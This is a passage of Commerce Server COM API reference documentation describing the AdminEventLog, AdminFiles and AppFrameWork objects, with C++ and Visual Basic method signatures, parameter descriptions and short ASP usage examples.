[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminEventLog is a Commerce.AdminEventLog object.

oAdminEventLog.WriteInformationalEvent("MySite", _
                         "Database accessed successfully")

See Also

[C++] AdminEventLog Object

[C++] IAdminEventLog::WriteErrorEvent

[C++] IAdminEventLog::WriteWarningEvent

[Visual Basic] AdminEventLog Object

[Visual Basic] AdminEventLog.WriteErrorEvent

[Visual Basic] AdminEventLog.WriteWarningEvent


IAdminEventLog::WriteWarningEvent Method [C++]

AdminEventLog.WriteWarningEvent Method [Visual Basic]

Use this method to write a warning event to the Commerce Server event log.

Definition

[C++]
HRESULT IAdminEventLog::WriteWarningEvent(
  BSTR bstrSiteName,
  BSTR bstrMessage
);
[Visual Basic]
Sub WriteWarningEvent(
  String bstrSiteName,
  String bstrMessage
)

Parameters

bstSiteName [C++]
[in] A BSTR that contains the site name.
bstSiteName [Visual Basic]
A String that contains the site name.
bstrMessage [C++]
[in] A BSTR that contains the warning event message string.
bstrMessage [Visual Basic]
A String that contains the warning event message string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminEventLog is a Commerce.AdminEventLog object.

oAdminEventLog.WriteWarningEvent("MySite", _
                                 "Low Memory Availability")

See Also

[C++] AdminEventLog Object

[C++] IAdminEventLog::WriteErrorEvent

[C++] IAdminEventLog::WriteInformationalEvent

[Visual Basic] AdminEventLog Object

[Visual Basic] AdminEventLog.WriteErrorEvent

[Visual Basic] AdminEventLog.WriteInformationalEvent


AdminFiles Object [C++]

AdminFiles Object [Visual Basic]

Use this object for read-only access to server-side files. Different methods are provided to access binary and text files, respectively.

ProgID: | Commerce.AdminFiles (Externally creatable)
COM Class Name: | CAdminFiles
Type Library Name: | Commerce Admin 1.0 Type Library
DLL Name: | MSCSadmin.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAdminFiles
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IAdminFiles interface to access the methods of the AdminFiles object.

Methods

[C++]
Method | Description
ReadFromBinaryFile | Reads the content of the specified binary file.
ReadFromFile | Reads the content of the specified text file.
[Visual Basic]
Method | Description
ReadFromBinaryFile | Reads the content of the specified binary file.
ReadFromFile | Reads the content of the specified text file.

See Also

General Purpose Objects


AdminFiles Methods [C++]

AdminFiles Methods [Visual Basic]

Methods

[C++]
Method | Description
ReadFromBinaryFile | Reads the content of the specified binary file.
ReadFromFile | Reads the content of the specified text file.
[Visual Basic]
Method | Description
ReadFromBinaryFile | Reads the content of the specified binary file.
ReadFromFile | Reads the content of the specified text file.


IAdminFiles::ReadFromBinaryFile Method [C++]

AdminFiles.ReadFromBinaryFile Method [Visual Basic]

Use this method to read the contents of the specified binary file. The file can contain any type of data, such as a numeric data or a bitmap.

Definition

[C++]
HRESULT IAdminFiles::ReadFromBinaryFile(
 BSTR bstrFileName,
 VARIANT* prgByte
);
[Visual Basic]
Function ReadFromBinaryFile(
 bstrFileName As String
) As Variant

Parameters

bstrFileName [C++]
[in] A BSTR that specifies the path and file name to read.
bstrFileName [Visual Basic]
A String that specifies the path and file name to read.
prgByte [C++]
[out] The address of a VARIANT used to return the file contents.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the file contents.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The prgByte parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example opens the specified file and
' then uses the Response.BinaryWrite method to download
' the file to a browser.
' oFile is a Commerce AdminFiles object.
' vFileContents is a variable of type Variant.
vFileContents = oFile.ReadFromBinaryFile("c:\temp\postcard.jpg")
Response.ContentsType = "image/jpeg"
Response.BinaryWrite vFileContents

See Also

[C++] AdminFiles Object

[C++] IAdminFiles::ReadFromFile

[Visual Basic] AdminFiles Object

[Visual Basic] AdminFiles.ReadFromFile


IAdminFiles::ReadFromFile Method [C++]

AdminFiles.ReadFromFile Method [Visual Basic]

Use this method to return the contents of the specified text file. The contents of the file are returned as a text string.

Definition

[C++]
HRESULT IAdminFiles::ReadFromFile(
 BSTR bstrFileName,
 BSTR* pbstrOut
);
[Visual Basic]
Function ReadFromFile(
 bstrFileName As String
) As String

Parameters

bstrFileName [C++]
[in] A BSTR that specifies the path and file name to read.
bstrFileName [Visual Basic]
A String that specifies the path and file name to read.
pbstrOut [C++]
[out] The address of a BSTR used to return the file contents.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String containing the file contents.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrOut parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oFile is a reference to a Commerce AdminFiles object.
' sFileContents is a varaible of type String.
sFileContents = oFile.ReadFromFile("c:\temp\newfile.asp")

See Also

[C++] AdminFiles Object

[C++] IAdminFiles::ReadFromBinaryFile

[Visual Basic] AdminFiles Object

[Visual Basic] IAdminFiles::ReadFromBinaryFile


AppFrameWork Object [C++]

AppFrameWork Object [Visual Basic]

Use this object to simplify forms processing in Active Server Pages (ASP).

ProgID: | Commerce.AppFrameWork (Externally creatable)
COM Class Name: | AppFrameWork
Type Library Name: | AspLib 1.0 Type Library
DLL Name: | asplib.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAppFrameWork
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the IAppFrameWork interface to access the methods of the AppFrameWork object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Option | Generates an option tag on a page.
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a Date value (Date Variant).
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a DateTime value (Date Variant).
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it as money, based on the specified locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it.
RequestTime | Retrieves a value from a URL query string or form post variable and converts it to a Time value (Date Variant).
VerifyWith | Generates hidden input fields that contain verification values.
VirtualDirectory | Returns the name of the virtual directory for the site.
[Visual Basic]
Method | Description
Option | Generates an option tag on a page.
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a Date value (Date Variant).
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a DateTime value (Date Variant).
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it as money, based on the specified locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it.
RequestTime | Retrieves a value from a URL query string or form post variable and converts it to a Time value (Date Variant).
VerifyWith | Generates hidden input fields that contain verification values.
VirtualDirectory | Returns the name of the virtual directory for the site.

Remarks

The AppFrameWork object methods fall mainly into the following categories:

  • Formatting. The Option method makes it possible for you to easily format HTML page items, and where applicable, to determine HTML item values based upon a run time evaluation of other variables used in your page.
  • Validation. These methods begin with Request, and are used to retrieve values from a URL query string, convert the values to given data types based on a locale value, and validate these values against a specified range.

Before you create this object, you must create the Commerce.DataFunctions object in Application scope.

The AppFramework object is not available through the Common Language Runtime Interop Layer or the Base Class Library for use within the Commerce Server .NET Application Framework.

See Also

Core Objects


IAppFrameWork Methods [C++]

AppFrameWork Methods [Visual Basic]

Methods

[C++]
Method | Description
Option | Generates an option tag on a page.
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a Date value (Date Variant).
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a DateTime value (Date Variant).
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it as money, based on the specified locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it.
RequestTime | Retrieves a value from a URL query string or form post variable and converts it to a Time value (Date Variant).
VerifyWith | Generates hidden input fields that contain verification values.
VirtualDirectory | Returns the name of the virtual directory for the site.
[Visual Basic]
Method | Description
Option | Generates an option tag on a page.
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a Date value (Date Variant).
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a DateTime value (Date Variant).
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it as money, based on the specified locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it.
RequestTime | Retrieves a value from a URL query string or form post variable and converts it to a Time value (Date Variant).
VerifyWith | Generates hidden input fields that contain verification values.
VirtualDirectory | Returns the name of the virtual directory for the site.


IAppFrameWork::Option Method [C++]

AppFrameWork.Option Method [Visual Basic]

Use this method to generate an OPTION item in an HTML form selection list with the value and selection state that you specify.

Definition

[C++]
HRESULT IAppFrameWork::Option(
  VARIANT vtVal1,
  VARIANT vtVal2,
  BSTR* pbstrRet
);
[Visual Basic]
Function Option(
  vtVal1 As Variant,
  vtVal2 As Variant
) As String

Parameters

vtVal1 [C++]
[in] A VARIANT that contains the value of the option in the selection list.
vtVal1 [Visual Basic]
A Variant that contains the value of the option in the selection list.
vtVal2 [C++]
[in] A VARIANT that contains a value that indicates whether the list option is the selected option. If the vtVal2 parameter is equal to the vtVal1 parameter, then the HTML keyword SELECTED is inserted in the definition of the option list.
vtVal2 [Visual Basic]
A Variant that contains a value that indicates whether the list option is the selected option. If the vtVal2 parameter is equal to the vtVal1 parameter, then the HTML keyword SELECTED is inserted in the definition of the option list.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the OPTION item.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the OPTION item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' The following example generates a selection field in an
' HTML form to enable the customer to select the expiration
' year of their credit card. The Option method generates
' <OPTION VALUE="> tags and marks the current year
' as selected:
<% iyear = Year(date) %>

<SELECT NAME="_cc_expyear">
    <% = oAppFrameWork.Option(2000, iyear) %> 2000
    <% = oAppFrameWork.Option(2001, iyear) %> 2001
    <% = oAppFrameWork.Option(2002, iyear) %> 2002
    <% = oAppFrameWork.Option(2003, iyear) %> 2003
</SELECT>
' Following is the HTML output that is produced,
' assuming that the current year is 2001:
<SELECT NAME="_cc_expyear">
    <OPTION VALUE="2000"> 2000
    <OPTION VALUE="2001" SELECTED> 2001
    <OPTION VALUE="2002"> 2002
    <OPTION VALUE="2003"> 2003
</SELECT>

See Also

[C++] AppFrameWork Object

[Visual Basic] AppFrameWork Object


IAppFrameWork::RequestDate Method [C++]

AppFrameWork.RequestDate Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a Date value (Date Variant), based on the specified or default locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestDate(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDate(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the date value to return if the requested URL query string or form post variable does not exist or contains no value. The default cannot contain DateTime and Time values.
vtDefault [Visual Basic]
A Variant that contains the date to return if the requested URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Time values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains a date value that specifies the low end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains a date value that specifies the low end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains a date value that specifies the high end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that contains a date value that specifies the high end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains a number that specifies the locale to use to convert the date. If this value is not specified, the RequestDate method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that that contains a number that specifies the locale to use to convert the date. If this value is not specified, the RequestDate method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed date value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Date Variant that contains the processed date value. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' This example assumes that the date value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Date">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the date into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestDate method as follows:
vDate = oAppFrameWork.RequestDate("Date", "2/27/01", "1/1/01", _
    "12/31/01",1033)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IAppFrameWork.RequestDateTime

[C++] IDataFunctions_4_0::ConvertDateString

[C++] IDataFunctions_4_0::Date

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] AppFrameWork.RequestDateTime

[Visual Basic] DataFunctions.ConvertDateString

[Visual Basic] DataFunctions.Date


IAppFrameWork::RequestDateTime Method [C++]

AppFrameWork.RequestDateTime Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a DateTime value (Date Variant), based on the specified or default locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestDateTime(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDateTime(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain Time values.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain Time values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains a DateTime value that specifies the low end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains a DateTime value that specifies the low end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains a DateTime value that specifies the high end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process.If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that contains a DateTime value that specifies the high end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that identifies the locale to be used to convert the date/time string. If this parameter is not specified, the RequestDateTime method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that identifies the locale to be used to convert the date/time string. If this parameter is not specified, the RequestDateTime method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the DateTime value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains a DateTime value. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' This example assumes that the DateTime value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="DateTime">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the date into the form and clicks
' the Send Info button, the value of this form field can
' be retrieved by the RequestDate method as follows:
vDate = oAppFrameWork.RequestDateTime("DateTime", _
    "1/1/01 12:00:01 AM", "1/1/01 12:00:01 AM", _
     "12/31/01 11:59:59 PM", 1033)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IAppFrameWork::RequestDate

[C++] IDataFunctions_4_0::ConvertDateTimeString

[C++] IAppFrameWork::RequestTime

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] AppFrameWork.RequestDate

[Visual Basic] DataFunctions.ConvertDateTimeString

[Visual Basic] AppFrameWork.RequestTime


IAppFrameWork::RequestFloat Method [C++]

AppFrameWork.RequestFloat Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a floating-point value, based on the specified or default locale.

Optionally, the RequestFloat method also checks the converted number against the specified range.

Definition

[C++]
HRESULT IAppFrameWork::RequestFloat(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestFloat(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number that specifies the low end of the range of values against which to validate the converted value. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains the number that specifies the low end of the range of values against which to validate the converted value. The default value is NULL, indicating that this parameter is ignored. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number that specifies the high end of the range of values against which to validate the converted value. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that contains the number that specifies the high end of the range of values against which to validate the converted value. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that identifies the locale to use to convert the value. If this value is not specified, the RequestFloat method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that identifies the locale to use to convert the value. If this value is not specified, the RequestFloat method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the floating-point value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the floating-point value. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completes successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' vFloat is a Variant.
' This example assumes that the float value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Float">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the number into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestFloat method as follows:
vFloat = oAppFrameWork.RequestFloat("Float", 0, 0, 100, 1033)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IAppFrameWork::RequestNumber

[C++] IDataFunctions_4_0::ConvertFloatString

[C++] IDataFunctions_4_0::Float

[C++] IDataFunctions_4_0::ValidateFloat

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] AppFrameWork.RequestNumber

[Visual Basic] DataFunctions.ConvertFloatString

[Visual Basic] DataFunctions.Float

[Visual Basic] DataFunctions.ValidateFloat


IAppFrameWork::RequestMoneyAsNumber Method [C++]

AppFrameWork.RequestMoneyAsNumber Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it as money, based on the specified locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestMoneyAsNumber(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestMoneyAsNumber(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. If the default value is a string value, it will be converted into the base monetary value, otherwise, it is assumed that the value is in base monetary units.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is also not supplied, the method returns NULL. If the default value is a string value, it will be converted into the base monetary value; otherwise, it is assumed that the value is in base monetary units. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the monetary value that specifies the low end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMin parameter. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains the monetary value that specifies the low end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMin parameter. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the monetary value that specifies the high end of the range against which to validate the converted value. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. A value in base monetary units is expected for the vtMax parameter. If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that specifies the high end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMax parameter. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestMoneyAsNumber method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestMoneyAsNumber method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the number in the base monetary units of the specified or default locale. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains a number in the base monetary units of the specified or default locale. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

